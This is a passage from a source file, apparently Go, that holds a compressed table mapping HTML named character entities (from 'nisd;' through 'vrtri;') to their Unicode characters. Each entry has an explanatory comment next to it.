			// nisd;[⋺] nis;[⋼] niv;[∋] ni;[∋].
			"\x03sd;\x03⋺\x02s;\x03⋼\x02v;\x03∋\x01;\x03∋",
			// njcy;[њ].
			"\x03cy;\x02њ",
			// nleftrightarrow;[↮] nleftarrow;[↚] nleqslant;[⩽̸] nltrie;[⋬] nlArr;[⇍] nlarr;[↚] nleqq;[≦̸] nless;[≮] nlsim;[≴] nltri;[⋪] nldr;[‥] nleq;[≰] nles;[⩽̸] nlE;[≦̸] nle;[≰] nlt;[≮].
			"\x0eeftrightarrow;\x03↮\x09eftarrow;\x03↚\x08eqslant;\x05⩽̸\x05trie;\x03⋬\x04Arr;\x03⇍\x04arr;\x03↚\x04eqq;\x05≦̸\x04ess;\x03≮\x04sim;\x03≴\x04tri;\x03⋪\x03dr;\x03‥\x03eq;\x03≰\x03es;\x05⩽̸\x02E;\x05≦̸\x02e;\x03≰\x02t;\x03≮",
			// nmid;[∤].
			"\x03id;\x03∤",
			// notindot;[⋵̸] notinva;[∉] notinvb;[⋷] notinvc;[⋶] notniva;[∌] notnivb;[⋾] notnivc;[⋽] notinE;[⋹̸] notin;[∉] notni;[∌] nopf;[𝕟] not;[¬] not[¬].
			"\x07tindot;\x05⋵̸\x06tinva;\x03∉\x06tinvb;\x03⋷\x06tinvc;\x03⋶\x06tniva;\x03∌\x06tnivb;\x03⋾\x06tnivc;\x03⋽\x05tinE;\x05⋹̸\x04tin;\x03∉\x04tni;\x03∌\x03pf;\x04𝕟\x02t;\x02¬\x01t\x02¬",
			// nparallel;[∦] npolint;[⨔] npreceq;[⪯̸] nparsl;[⫽⃥] nprcue;[⋠] npart;[∂̸] nprec;[⊀] npar;[∦] npre;[⪯̸] npr;[⊀].
			"\x08arallel;\x03∦\x06olint;\x03⨔\x06receq;\x05⪯̸\x05arsl;\x06⫽⃥\x05rcue;\x03⋠\x04art;\x05∂̸\x04rec;\x03⊀\x03ar;\x03∦\x03re;\x05⪯̸\x02r;\x03⊀",
			// nrightarrow;[↛] nrarrc;[⤳̸] nrarrw;[↝̸] nrtrie;[⋭] nrArr;[⇏] nrarr;[↛] nrtri;[⋫].
			"\x0aightarrow;\x03↛\x05arrc;\x05⤳̸\x05arrw;\x05↝̸\x05trie;\x03⋭\x04Arr;\x03⇏\x04arr;\x03↛\x04tri;\x03⋫",
			// nshortparallel;[∦] nsubseteqq;[⫅̸] nsupseteqq;[⫆̸] nshortmid;[∤] nsubseteq;[⊈] nsupseteq;[⊉] nsqsube;[⋢] nsqsupe;[⋣] nsubset;[⊂⃒] nsucceq;[⪰̸] nsupset;[⊃⃒] nsccue;[⋡] nsimeq;[≄] nsime;[≄] nsmid;[∤] nspar;[∦] nsubE;[⫅̸] nsube;[⊈] nsucc;[⊁] nsupE;[⫆̸] nsupe;[⊉] nsce;[⪰̸] nscr;[𝓃] nsim;[≁] nsub;[⊄] nsup;[⊅] nsc;[⊁].
			"\x0dhortparallel;\x03∦\x09ubseteqq;\x05⫅̸\x09upseteqq;\x05⫆̸\x08hortmid;\x03∤\x08ubseteq;\x03⊈\x08upseteq;\x03⊉\x06qsube;\x03⋢\x06qsupe;\x03⋣\x06ubset;\x06⊂⃒\x06ucceq;\x05⪰̸\x06upset;\x06⊃⃒\x05ccue;\x03⋡\x05imeq;\x03≄\x04ime;\x03≄\x04mid;\x03∤\x04par;\x03∦\x04ubE;\x05⫅̸\x04ube;\x03⊈\x04ucc;\x03⊁\x04upE;\x05⫆̸\x04upe;\x03⊉\x03ce;\x05⪰̸\x03cr;\x04𝓃\x03im;\x03≁\x03ub;\x03⊄\x03up;\x03⊅\x02c;\x03⊁",
			// ntrianglerighteq;[⋭] ntrianglelefteq;[⋬] ntriangleright;[⋫] ntriangleleft;[⋪] ntilde;[ñ] ntilde[ñ] ntgl;[≹] ntlg;[≸].
			"\x0frianglerighteq;\x03⋭\x0erianglelefteq;\x03⋬\x0driangleright;\x03⋫\x0criangleleft;\x03⋪\x05ilde;\x02ñ\x04ilde\x02ñ\x03gl;\x03≹\x03lg;\x03≸",
			// numero;[№] numsp;[ ] num;[#] nu;[ν].
			"\x05mero;\x03№\x04msp;\x03 \x02m;\x01#\x01;\x02ν",
			// nvinfin;[⧞] nvltrie;[⊴⃒] nvrtrie;[⊵⃒] nvDash;[⊭] nvHarr;[⤄] nvdash;[⊬] nvlArr;[⤂] nvrArr;[⤃] nvsim;[∼⃒] nvap;[≍⃒] nvge;[≥⃒] nvgt;[>⃒] nvle;[≤⃒] nvlt;[<⃒].
			"\x06infin;\x03⧞\x06ltrie;\x06⊴⃒\x06rtrie;\x06⊵⃒\x05Dash;\x03⊭\x05Harr;\x03⤄\x05dash;\x03⊬\x05lArr;\x03⤂\x05rArr;\x03⤃\x04sim;\x06∼⃒\x03ap;\x06≍⃒\x03ge;\x06≥⃒\x03gt;\x04>⃒\x03le;\x06≤⃒\x03lt;\x04<⃒",
			// nwarrow;[↖] nwarhk;[⤣] nwnear;[⤧] nwArr;[⇖] nwarr;[↖].
			"\x06arrow;\x03↖\x05arhk;\x03⤣\x05near;\x03⤧\x04Arr;\x03⇖\x04arr;\x03↖",
			// oS;[Ⓢ].
			"\x01;\x03Ⓢ",
			// oacute;[ó] oacute[ó] oast;[⊛].
			"\x05cute;\x02ó\x04cute\x02ó\x03st;\x03⊛",
			// ocirc;[ô] ocir;[⊚] ocirc[ô] ocy;[о].
			"\x04irc;\x02ô\x03ir;\x03⊚\x03irc\x02ô\x02y;\x02о",
			// odblac;[ő] odsold;[⦼] odash;[⊝] odiv;[⨸] odot;[⊙].
			"\x05blac;\x02ő\x05sold;\x03⦼\x04ash;\x03⊝\x03iv;\x03⨸\x03ot;\x03⊙",
			// oelig;[œ].
			"\x04lig;\x02œ",
			// ofcir;[⦿] ofr;[𝔬].
			"\x04cir;\x03⦿\x02r;\x04𝔬",
			// ograve;[ò] ograve[ò] ogon;[˛] ogt;[⧁].
			"\x05rave;\x02ò\x04rave\x02ò\x03on;\x02˛\x02t;\x03⧁",
			// ohbar;[⦵] ohm;[Ω].
			"\x04bar;\x03⦵\x02m;\x02Ω",
			// oint;[∮].
			"\x03nt;\x03∮",
			// olcross;[⦻] olarr;[↺] olcir;[⦾] oline;[‾] olt;[⧀].
			"\x06cross;\x03⦻\x04arr;\x03↺\x04cir;\x03⦾\x04ine;\x03‾\x02t;\x03⧀",
			// omicron;[ο] ominus;[⊖] omacr;[ō] omega;[ω] omid;[⦶].
			"\x06icron;\x02ο\x05inus;\x03⊖\x04acr;\x02ō\x04ega;\x02ω\x03id;\x03⦶",
			// oopf;[𝕠].
			"\x03pf;\x04𝕠",
			// operp;[⦹] oplus;[⊕] opar;[⦷].
			"\x04erp;\x03⦹\x04lus;\x03⊕\x03ar;\x03⦷",
			// orderof;[ℴ] orslope;[⩗] origof;[⊶] orarr;[↻] order;[ℴ] ordf;[ª] ordm;[º] oror;[⩖] ord;[⩝] ordf[ª] ordm[º] orv;[⩛] or;[∨].
			"\x06derof;\x03ℴ\x06slope;\x03⩗\x05igof;\x03⊶\x04arr;\x03↻\x04der;\x03ℴ\x03df;\x02ª\x03dm;\x02º\x03or;\x03⩖\x02d;\x03⩝\x02df\x02ª\x02dm\x02º\x02v;\x03⩛\x01;\x03∨",
			// oslash;[ø] oslash[ø] oscr;[ℴ] osol;[⊘].
			"\x05lash;\x02ø\x04lash\x02ø\x03cr;\x03ℴ\x03ol;\x03⊘",
			// otimesas;[⨶] otilde;[õ] otimes;[⊗] otilde[õ].
			"\x07imesas;\x03⨶\x05ilde;\x02õ\x05imes;\x03⊗\x04ilde\x02õ",
			// ouml;[ö] ouml[ö].
			"\x03ml;\x02ö\x02ml\x02ö",
			// ovbar;[⌽].
			"\x04bar;\x03⌽",
			// parallel;[∥] parsim;[⫳] parsl;[⫽] para;[¶] part;[∂] par;[∥] para[¶].
			"\x07rallel;\x03∥\x05rsim;\x03⫳\x04rsl;\x03⫽\x03ra;\x02¶\x03rt;\x03∂\x02r;\x03∥\x02ra\x02¶",
			// pcy;[п].
			"\x02y;\x02п",
			// pertenk;[‱] percnt;[%] period;[.] permil;[‰] perp;[⊥].
			"\x06rtenk;\x03‱\x05rcnt;\x01%\x05riod;\x01.\x05rmil;\x03‰\x03rp;\x03⊥",
			// pfr;[𝔭].
			"\x02r;\x04𝔭",
			// phmmat;[ℳ] phone;[☎] phiv;[ϕ] phi;[φ].
			"\x05mmat;\x03ℳ\x04one;\x03☎\x03iv;\x02ϕ\x02i;\x02φ",
			// pitchfork;[⋔] piv;[ϖ] pi;[π].
			"\x08tchfork;\x03⋔\x02v;\x02ϖ\x01;\x02π",
			// plusacir;[⨣] planckh;[ℎ] pluscir;[⨢] plussim;[⨦] plustwo;[⨧] planck;[ℏ] plankv;[ℏ] plusdo;[∔] plusdu;[⨥] plusmn;[±] plusb;[⊞] pluse;[⩲] plusmn[±] plus;[+].
			"\x07usacir;\x03⨣\x06anckh;\x03ℎ\x06uscir;\x03⨢\x06ussim;\x03⨦\x06ustwo;\x03⨧\x05anck;\x03ℏ\x05ankv;\x03ℏ\x05usdo;\x03∔\x05usdu;\x03⨥\x05usmn;\x02±\x04usb;\x03⊞\x04use;\x03⩲\x04usmn\x02±\x03us;\x01+",
			// pm;[±].
			"\x01;\x02±",
			// pointint;[⨕] pound;[£] popf;[𝕡] pound[£].
			"\x07intint;\x03⨕\x04und;\x02£\x03pf;\x04𝕡\x03und\x02£",
			// preccurlyeq;[≼] precnapprox;[⪹] precapprox;[⪷] precneqq;[⪵] precnsim;[⋨] profalar;[⌮] profline;[⌒] profsurf;[⌓] precsim;[≾] preceq;[⪯] primes;[ℙ] prnsim;[⋨] propto;[∝] prurel;[⊰] prcue;[≼] prime;[′] prnap;[⪹] prsim;[≾] prap;[⪷] prec;[≺] prnE;[⪵] prod;[∏] prop;[∝] prE;[⪳] pre;[⪯] pr;[≺].
			"\x0aeccurlyeq;\x03≼\x0aecnapprox;\x03⪹\x09ecapprox;\x03⪷\x07ecneqq;\x03⪵\x07ecnsim;\x03⋨\x07ofalar;\x03⌮\x07ofline;\x03⌒\x07ofsurf;\x03⌓\x06ecsim;\x03≾\x05eceq;\x03⪯\x05imes;\x03ℙ\x05nsim;\x03⋨\x05opto;\x03∝\x05urel;\x03⊰\x04cue;\x03≼\x04ime;\x03′\x04nap;\x03⪹\x04sim;\x03≾\x03ap;\x03⪷\x03ec;\x03≺\x03nE;\x03⪵\x03od;\x03∏\x03op;\x03∝\x02E;\x03⪳\x02e;\x03⪯\x01;\x03≺",
			// pscr;[𝓅] psi;[ψ].
			"\x03cr;\x04𝓅\x02i;\x02ψ",
			// puncsp;[ ].
			"\x05ncsp;\x03 ",
			// qfr;[𝔮].
			"\x02r;\x04𝔮",
			// qint;[⨌].
			"\x03nt;\x03⨌",
			// qopf;[𝕢].
			"\x03pf;\x04𝕢",
			// qprime;[⁗].
			"\x05rime;\x03⁗",
			// qscr;[𝓆].
			"\x03cr;\x04𝓆",
			// quaternions;[ℍ] quatint;[⨖] questeq;[≟] quest;[?] quot;[\"] quot[\"].
			"\x0aaternions;\x03ℍ\x06atint;\x03⨖\x06esteq;\x03≟\x04est;\x01?\x03ot;\x01\"\x02ot\x01\"",
			// rAtail;[⤜] rAarr;[⇛] rArr;[⇒].
			"\x05tail;\x03⤜\x04arr;\x03⇛\x03rr;\x03⇒",
			// rBarr;[⤏].
			"\x04arr;\x03⤏",
			// rHar;[⥤].
			"\x03ar;\x03⥤",
			// rationals;[ℚ] raemptyv;[⦳] rarrbfs;[⤠] rarrsim;[⥴] racute;[ŕ] rangle;[⟩] rarrap;[⥵] rarrfs;[⤞] rarrhk;[↪] rarrlp;[↬] rarrpl;[⥅] rarrtl;[↣] ratail;[⤚] radic;[√] rangd;[⦒] range;[⦥] raquo;[»] rarrb;[⇥] rarrc;[⤳] rarrw;[↝] ratio;[∶] race;[∽̱] rang;[⟩] raquo[»] rarr;[→].
			"\x08tionals;\x03ℚ\x07emptyv;\x03⦳\x06rrbfs;\x03⤠\x06rrsim;\x03⥴\x05cute;\x02ŕ\x05ngle;\x03⟩\x05rrap;\x03⥵\x05rrfs;\x03⤞\x05rrhk;\x03↪\x05rrlp;\x03↬\x05rrpl;\x03⥅\x05rrtl;\x03↣\x05tail;\x03⤚\x04dic;\x03√\x04ngd;\x03⦒\x04nge;\x03⦥\x04quo;\x02»\x04rrb;\x03⇥\x04rrc;\x03⤳\x04rrw;\x03↝\x04tio;\x03∶\x03ce;\x05∽̱\x03ng;\x03⟩\x03quo\x02»\x03rr;\x03→",
			// rbrksld;[⦎] rbrkslu;[⦐] rbrace;[}] rbrack;[]] rbarr;[⤍] rbbrk;[❳] rbrke;[⦌].
			"\x06rksld;\x03⦎\x06rkslu;\x03⦐\x05race;\x01}\x05rack;\x01]\x04arr;\x03⤍\x04brk;\x03❳\x04rke;\x03⦌",
			// rcaron;[ř] rcedil;[ŗ] rceil;[⌉] rcub;[}] rcy;[р].
			"\x05aron;\x02ř\x05edil;\x02ŗ\x04eil;\x03⌉\x03ub;\x01}\x02y;\x02р",
			// rdldhar;[⥩] rdquor;[”] rdquo;[”] rdca;[⤷] rdsh;[↳].
			"\x06ldhar;\x03⥩\x05quor;\x03”\x04quo;\x03”\x03ca;\x03⤷\x03sh;\x03↳",
			// realpart;[ℜ] realine;[ℛ] reals;[ℝ] real;[ℜ] rect;[▭] reg;[®] reg[®].
			"\x07alpart;\x03ℜ\x06aline;\x03ℛ\x04als;\x03ℝ\x03al;\x03ℜ\x03ct;\x03▭\x02g;\x02®\x01g\x02®",
			// rfisht;[⥽] rfloor;[⌋] rfr;[𝔯].
			"\x05isht;\x03⥽\x05loor;\x03⌋\x02r;\x04𝔯",
			// rharul;[⥬] rhard;[⇁] rharu;[⇀] rhov;[ϱ] rho;[ρ].
			"\x05arul;\x03⥬\x04ard;\x03⇁\x04aru;\x03⇀\x03ov;\x02ϱ\x02o;\x02ρ",
			// rightleftharpoons;[⇌] rightharpoondown;[⇁] rightrightarrows;[⇉] rightleftarrows;[⇄] rightsquigarrow;[↝] rightthreetimes;[⋌] rightarrowtail;[↣] rightharpoonup;[⇀] risingdotseq;[≓] rightarrow;[→] ring;[˚].
			"\x10ghtleftharpoons;\x03⇌\x0fghtharpoondown;\x03⇁\x0fghtrightarrows;\x03⇉\x0eghtleftarrows;\x03⇄\x0eghtsquigarrow;\x03↝\x0eghtthreetimes;\x03⋌\x0dghtarrowtail;\x03↣\x0dghtharpoonup;\x03⇀\x0bsingdotseq;\x03≓\x09ghtarrow;\x03→\x03ng;\x02˚",
			// rlarr;[⇄] rlhar;[⇌] rlm;[‏].
			"\x04arr;\x03⇄\x04har;\x03⇌\x02m;\x03‏",
			// rmoustache;[⎱] rmoust;[⎱].
			"\x09oustache;\x03⎱\x05oust;\x03⎱",
			// rnmid;[⫮].
			"\x04mid;\x03⫮",
			// rotimes;[⨵] roplus;[⨮] roang;[⟭] roarr;[⇾] robrk;[⟧] ropar;[⦆] ropf;[𝕣].
			"\x06times;\x03⨵\x05plus;\x03⨮\x04ang;\x03⟭\x04arr;\x03⇾\x04brk;\x03⟧\x04par;\x03⦆\x03pf;\x04𝕣",
			// rppolint;[⨒] rpargt;[⦔] rpar;[)].
			"\x07polint;\x03⨒\x05argt;\x03⦔\x03ar;\x01)",
			// rrarr;[⇉].
			"\x04arr;\x03⇉",
			// rsaquo;[›] rsquor;[’] rsquo;[’] rscr;[𝓇] rsqb;[]] rsh;[↱].
			"\x05aquo;\x03›\x05quor;\x03’\x04quo;\x03’\x03cr;\x04𝓇\x03qb;\x01]\x02h;\x03↱",
			// rtriltri;[⧎] rthree;[⋌] rtimes;[⋊] rtrie;[⊵] rtrif;[▸] rtri;[▹].
			"\x07riltri;\x03⧎\x05hree;\x03⋌\x05imes;\x03⋊\x04rie;\x03⊵\x04rif;\x03▸\x03ri;\x03▹",
			// ruluhar;[⥨].
			"\x06luhar;\x03⥨",
			// rx;[℞].
			"\x01;\x03℞",
			// sacute;[ś].
			"\x05cute;\x02ś",
			// sbquo;[‚].
			"\x04quo;\x03‚",
			// scpolint;[⨓] scaron;[š] scedil;[ş] scnsim;[⋩] sccue;[≽] scirc;[ŝ] scnap;[⪺] scsim;[≿] scap;[⪸] scnE;[⪶] scE;[⪴] sce;[⪰] scy;[с] sc;[≻].
			"\x07polint;\x03⨓\x05aron;\x02š\x05edil;\x02ş\x05nsim;\x03⋩\x04cue;\x03≽\x04irc;\x02ŝ\x04nap;\x03⪺\x04sim;\x03≿\x03ap;\x03⪸\x03nE;\x03⪶\x02E;\x03⪴\x02e;\x03⪰\x02y;\x02с\x01;\x03≻",
			// sdotb;[⊡] sdote;[⩦] sdot;[⋅].
			"\x04otb;\x03⊡\x04ote;\x03⩦\x03ot;\x03⋅",
			// setminus;[∖] searrow;[↘] searhk;[⤥] seswar;[⤩] seArr;[⇘] searr;[↘] setmn;[∖] sect;[§] semi;[;] sext;[✶] sect[§].
			"\x07tminus;\x03∖\x06arrow;\x03↘\x05arhk;\x03⤥\x05swar;\x03⤩\x04Arr;\x03⇘\x04arr;\x03↘\x04tmn;\x03∖\x03ct;\x02§\x03mi;\x01;\x03xt;\x03✶\x02ct\x02§",
			// sfrown;[⌢] sfr;[𝔰].
			"\x05rown;\x03⌢\x02r;\x04𝔰",
			// shortparallel;[∥] shortmid;[∣] shchcy;[щ] sharp;[♯] shcy;[ш] shy;[­] shy[­].
			"\x0cortparallel;\x03∥\x07ortmid;\x03∣\x05chcy;\x02щ\x04arp;\x03♯\x03cy;\x02ш\x02y;\x02­\x01y\x02­",
			// simplus;[⨤] simrarr;[⥲] sigmaf;[ς] sigmav;[ς] simdot;[⩪] sigma;[σ] simeq;[≃] simgE;[⪠] simlE;[⪟] simne;[≆] sime;[≃] simg;[⪞] siml;[⪝] sim;[∼].
			"\x06mplus;\x03⨤\x06mrarr;\x03⥲\x05gmaf;\x02ς\x05gmav;\x02ς\x05mdot;\x03⩪\x04gma;\x02σ\x04meq;\x03≃\x04mgE;\x03⪠\x04mlE;\x03⪟\x04mne;\x03≆\x03me;\x03≃\x03mg;\x03⪞\x03ml;\x03⪝\x02m;\x03∼",
			// slarr;[←].
			"\x04arr;\x03←",
			// smallsetminus;[∖] smeparsl;[⧤] smashp;[⨳] smile;[⌣] smtes;[⪬︀] smid;[∣] smte;[⪬] smt;[⪪].
			"\x0callsetminus;\x03∖\x07eparsl;\x03⧤\x05ashp;\x03⨳\x04ile;\x03⌣\x04tes;\x06⪬︀\x03id;\x03∣\x03te;\x03⪬\x02t;\x03⪪",
			// softcy;[ь] solbar;[⌿] solb;[⧄] sopf;[𝕤] sol;[/].
			"\x05ftcy;\x02ь\x05lbar;\x03⌿\x03lb;\x03⧄\x03pf;\x04𝕤\x02l;\x01/",
			// spadesuit;[♠] spades;[♠] spar;[∥].
			"\x08adesuit;\x03♠\x05ades;\x03♠\x03ar;\x03∥",
			// sqsubseteq;[⊑] sqsupseteq;[⊒] sqsubset;[⊏] sqsupset;[⊐] sqcaps;[⊓︀] sqcups;[⊔︀] sqsube;[⊑] sqsupe;[⊒] square;[□] squarf;[▪] sqcap;[⊓] sqcup;[⊔] sqsub;[⊏] sqsup;[⊐] squf;[▪] squ;[□].
			"\x09subseteq;\x03⊑\x09supseteq;\x03⊒\x07subset;\x03⊏\x07supset;\x03⊐\x05caps;\x06⊓︀\x05cups;\x06⊔︀\x05sube;\x03⊑\x05supe;\x03⊒\x05uare;\x03□\x05uarf;\x03▪\x04cap;\x03⊓\x04cup;\x03⊔\x04sub;\x03⊏\x04sup;\x03⊐\x03uf;\x03▪\x02u;\x03□",
			// srarr;[→].
			"\x04arr;\x03→",
			// ssetmn;[∖] ssmile;[⌣] sstarf;[⋆] sscr;[𝓈].
			"\x05etmn;\x03∖\x05mile;\x03⌣\x05tarf;\x03⋆\x03cr;\x04𝓈",
			// straightepsilon;[ϵ] straightphi;[ϕ] starf;[★] strns;[¯] star;[☆].
			"\x0eraightepsilon;\x02ϵ\x0araightphi;\x02ϕ\x04arf;\x03★\x04rns;\x02¯\x03ar;\x03☆",
			// succcurlyeq;[≽] succnapprox;[⪺] subsetneqq;[⫋] succapprox;[⪸] supsetneqq;[⫌] subseteqq;[⫅] subsetneq;[⊊] supseteqq;[⫆] supsetneq;[⊋] subseteq;[⊆] succneqq;[⪶] succnsim;[⋩] supseteq;[⊇] subedot;[⫃] submult;[⫁] subplus;[⪿] subrarr;[⥹] succsim;[≿] supdsub;[⫘] supedot;[⫄] suphsol;[⟉] suphsub;[⫗] suplarr;[⥻] supmult;[⫂] supplus;[⫀] subdot;[⪽] subset;[⊂] subsim;[⫇] subsub;[⫕] subsup;[⫓] succeq;[⪰] supdot;[⪾] supset;[⊃] supsim;[⫈] supsub;[⫔] supsup;[⫖] subnE;[⫋] subne;[⊊] supnE;[⫌] supne;[⊋] subE;[⫅] sube;[⊆] succ;[≻] sung;[♪] sup1;[¹] sup2;[²] sup3;[³] supE;[⫆] supe;[⊇] sub;[⊂] sum;[∑] sup1[¹] sup2[²] sup3[³] sup;[⊃].
			"\x0acccurlyeq;\x03≽\x0accnapprox;\x03⪺\x09bsetneqq;\x03⫋\x09ccapprox;\x03⪸\x09psetneqq;\x03⫌\x08bseteqq;\x03⫅\x08bsetneq;\x03⊊\x08pseteqq;\x03⫆\x08psetneq;\x03⊋\x07bseteq;\x03⊆\x07ccneqq;\x03⪶\x07ccnsim;\x03⋩\x07pseteq;\x03⊇\x06bedot;\x03⫃\x06bmult;\x03⫁\x06bplus;\x03⪿\x06brarr;\x03⥹\x06ccsim;\x03≿\x06pdsub;\x03⫘\x06pedot;\x03⫄\x06phsol;\x03⟉\x06phsub;\x03⫗\x06plarr;\x03⥻\x06pmult;\x03⫂\x06pplus;\x03⫀\x05bdot;\x03⪽\x05bset;\x03⊂\x05bsim;\x03⫇\x05bsub;\x03⫕\x05bsup;\x03⫓\x05cceq;\x03⪰\x05pdot;\x03⪾\x05pset;\x03⊃\x05psim;\x03⫈\x05psub;\x03⫔\x05psup;\x03⫖\x04bnE;\x03⫋\x04bne;\x03⊊\x04pnE;\x03⫌\x04pne;\x03⊋\x03bE;\x03⫅\x03be;\x03⊆\x03cc;\x03≻\x03ng;\x03♪\x03p1;\x02¹\x03p2;\x02²\x03p3;\x02³\x03pE;\x03⫆\x03pe;\x03⊇\x02b;\x03⊂\x02m;\x03∑\x02p1\x02¹\x02p2\x02²\x02p3\x02³\x02p;\x03⊃",
			// swarrow;[↙] swarhk;[⤦] swnwar;[⤪] swArr;[⇙] swarr;[↙].
			"\x06arrow;\x03↙\x05arhk;\x03⤦\x05nwar;\x03⤪\x04Arr;\x03⇙\x04arr;\x03↙",
			// szlig;[ß] szlig[ß].
			"\x04lig;\x02ß\x03lig\x02ß",
			// target;[⌖] tau;[τ].
			"\x05rget;\x03⌖\x02u;\x02τ",
			// tbrk;[⎴].
			"\x03rk;\x03⎴",
			// tcaron;[ť] tcedil;[ţ] tcy;[т].
			"\x05aron;\x02ť\x05edil;\x02ţ\x02y;\x02т",
			// tdot;[⃛].
			"\x03ot;\x03⃛",
			// telrec;[⌕].
			"\x05lrec;\x03⌕",
			// tfr;[𝔱].
			"\x02r;\x04𝔱",
			// thickapprox;[≈] therefore;[∴] thetasym;[ϑ] thicksim;[∼] there4;[∴] thetav;[ϑ] thinsp;[ ] thksim;[∼] theta;[θ] thkap;[≈] thorn;[þ] thorn[þ].
			"\x0aickapprox;\x03≈\x08erefore;\x03∴\x07etasym;\x02ϑ\x07icksim;\x03∼\x05ere4;\x03∴\x05etav;\x02ϑ\x05insp;\x03 \x05ksim;\x03∼\x04eta;\x02θ\x04kap;\x03≈\x04orn;\x02þ\x03orn\x02þ",
			// timesbar;[⨱] timesb;[⊠] timesd;[⨰] tilde;[˜] times;[×] times[×] tint;[∭].
			"\x07mesbar;\x03⨱\x05mesb;\x03⊠\x05mesd;\x03⨰\x04lde;\x02˜\x04mes;\x02×\x03mes\x02×\x03nt;\x03∭",
			// topfork;[⫚] topbot;[⌶] topcir;[⫱] toea;[⤨] topf;[𝕥] tosa;[⤩] top;[⊤].
			"\x06pfork;\x03⫚\x05pbot;\x03⌶\x05pcir;\x03⫱\x03ea;\x03⤨\x03pf;\x04𝕥\x03sa;\x03⤩\x02p;\x03⊤",
			// tprime;[‴].
			"\x05rime;\x03‴",
			// trianglerighteq;[⊵] trianglelefteq;[⊴] triangleright;[▹] triangledown;[▿] triangleleft;[◃] triangleq;[≜] triangle;[▵] triminus;[⨺] trpezium;[⏢] triplus;[⨹] tritime;[⨻] tridot;[◬] trade;[™] trisb;[⧍] trie;[≜].
			"\x0eianglerighteq;\x03⊵\x0dianglelefteq;\x03⊴\x0ciangleright;\x03▹\x0biangledown;\x03▿\x0biangleleft;\x03◃\x08iangleq;\x03≜\x07iangle;\x03▵\x07iminus;\x03⨺\x07pezium;\x03⏢\x06iplus;\x03⨹\x06itime;\x03⨻\x05idot;\x03◬\x04ade;\x03™\x04isb;\x03⧍\x03ie;\x03≜",
			// tstrok;[ŧ] tshcy;[ћ] tscr;[𝓉] tscy;[ц].
			"\x05trok;\x02ŧ\x04hcy;\x02ћ\x03cr;\x04𝓉\x03cy;\x02ц",
			// twoheadrightarrow;[↠] twoheadleftarrow;[↞] twixt;[≬].
			"\x10oheadrightarrow;\x03↠\x0foheadleftarrow;\x03↞\x04ixt;\x03≬",
			// uArr;[⇑].
			"\x03rr;\x03⇑",
			// uHar;[⥣].
			"\x03ar;\x03⥣",
			// uacute;[ú] uacute[ú] uarr;[↑].
			"\x05cute;\x02ú\x04cute\x02ú\x03rr;\x03↑",
			// ubreve;[ŭ] ubrcy;[ў].
			"\x05reve;\x02ŭ\x04rcy;\x02ў",
			// ucirc;[û] ucirc[û] ucy;[у].
			"\x04irc;\x02û\x03irc\x02û\x02y;\x02у",
			// udblac;[ű] udarr;[⇅] udhar;[⥮].
			"\x05blac;\x02ű\x04arr;\x03⇅\x04har;\x03⥮",
			// ufisht;[⥾] ufr;[𝔲].
			"\x05isht;\x03⥾\x02r;\x04𝔲",
			// ugrave;[ù] ugrave[ù].
			"\x05rave;\x02ù\x04rave\x02ù",
			// uharl;[↿] uharr;[↾] uhblk;[▀].
			"\x04arl;\x03↿\x04arr;\x03↾\x04blk;\x03▀",
			// ulcorner;[⌜] ulcorn;[⌜] ulcrop;[⌏] ultri;[◸].
			"\x07corner;\x03⌜\x05corn;\x03⌜\x05crop;\x03⌏\x04tri;\x03◸",
			// umacr;[ū] uml;[¨] uml[¨].
			"\x04acr;\x02ū\x02l;\x02¨\x01l\x02¨",
			// uogon;[ų] uopf;[𝕦].
			"\x04gon;\x02ų\x03pf;\x04𝕦",
			// upharpoonright;[↾] upharpoonleft;[↿] updownarrow;[↕] upuparrows;[⇈] uparrow;[↑] upsilon;[υ] uplus;[⊎] upsih;[ϒ] upsi;[υ].
			"\x0dharpoonright;\x03↾\x0charpoonleft;\x03↿\x0adownarrow;\x03↕\x09uparrows;\x03⇈\x06arrow;\x03↑\x06silon;\x02υ\x04lus;\x03⊎\x04sih;\x02ϒ\x03si;\x02υ",
			// urcorner;[⌝] urcorn;[⌝] urcrop;[⌎] uring;[ů] urtri;[◹].
			"\x07corner;\x03⌝\x05corn;\x03⌝\x05crop;\x03⌎\x04ing;\x02ů\x04tri;\x03◹",
			// uscr;[𝓊].
			"\x03cr;\x04𝓊",
			// utilde;[ũ] utdot;[⋰] utrif;[▴] utri;[▵].
			"\x05ilde;\x02ũ\x04dot;\x03⋰\x04rif;\x03▴\x03ri;\x03▵",
			// uuarr;[⇈] uuml;[ü] uuml[ü].
			"\x04arr;\x03⇈\x03ml;\x02ü\x02ml\x02ü",
			// uwangle;[⦧].
			"\x06angle;\x03⦧",
			// vArr;[⇕].
			"\x03rr;\x03⇕",
			// vBarv;[⫩] vBar;[⫨].
			"\x04arv;\x03⫩\x03ar;\x03⫨",
			// vDash;[⊨].
			"\x04ash;\x03⊨",
			// vartriangleright;[⊳] vartriangleleft;[⊲] varsubsetneqq;[⫋︀] varsupsetneqq;[⫌︀] varsubsetneq;[⊊︀] varsupsetneq;[⊋︀] varepsilon;[ϵ] varnothing;[∅] varpropto;[∝] varkappa;[ϰ] varsigma;[ς] vartheta;[ϑ] vangrt;[⦜] varphi;[ϕ] varrho;[ϱ] varpi;[ϖ] varr;[↕].
			"\x0frtriangleright;\x03⊳\x0ertriangleleft;\x03⊲\x0crsubsetneqq;\x06⫋︀\x0crsupsetneqq;\x06⫌︀\x0brsubsetneq;\x06⊊︀\x0brsupsetneq;\x06⊋︀\x09repsilon;\x02ϵ\x09rnothing;\x03∅\x08rpropto;\x03∝\x07rkappa;\x02ϰ\x07rsigma;\x02ς\x07rtheta;\x02ϑ\x05ngrt;\x03⦜\x05rphi;\x02ϕ\x05rrho;\x02ϱ\x04rpi;\x02ϖ\x03rr;\x03↕",
			// vcy;[в].
			"\x02y;\x02в",
			// vdash;[⊢].
			"\x04ash;\x03⊢",
			// veebar;[⊻] vellip;[⋮] verbar;[|] veeeq;[≚] vert;[|] vee;[∨].
			"\x05ebar;\x03⊻\x05llip;\x03⋮\x05rbar;\x01|\x04eeq;\x03≚\x03rt;\x01|\x02e;\x03∨",
			// vfr;[𝔳].
			"\x02r;\x04𝔳",
			// vltri;[⊲].
			"\x04tri;\x03⊲",
			// vnsub;[⊂⃒] vnsup;[⊃⃒].
			"\x04sub;\x06⊂⃒\x04sup;\x06⊃⃒",
			// vopf;[𝕧].
			"\x03pf;\x04𝕧",
			// vprop;[∝].
			"\x04rop;\x03∝",
			// vrtri;[⊳].
			"\x04tri;\x03⊳",
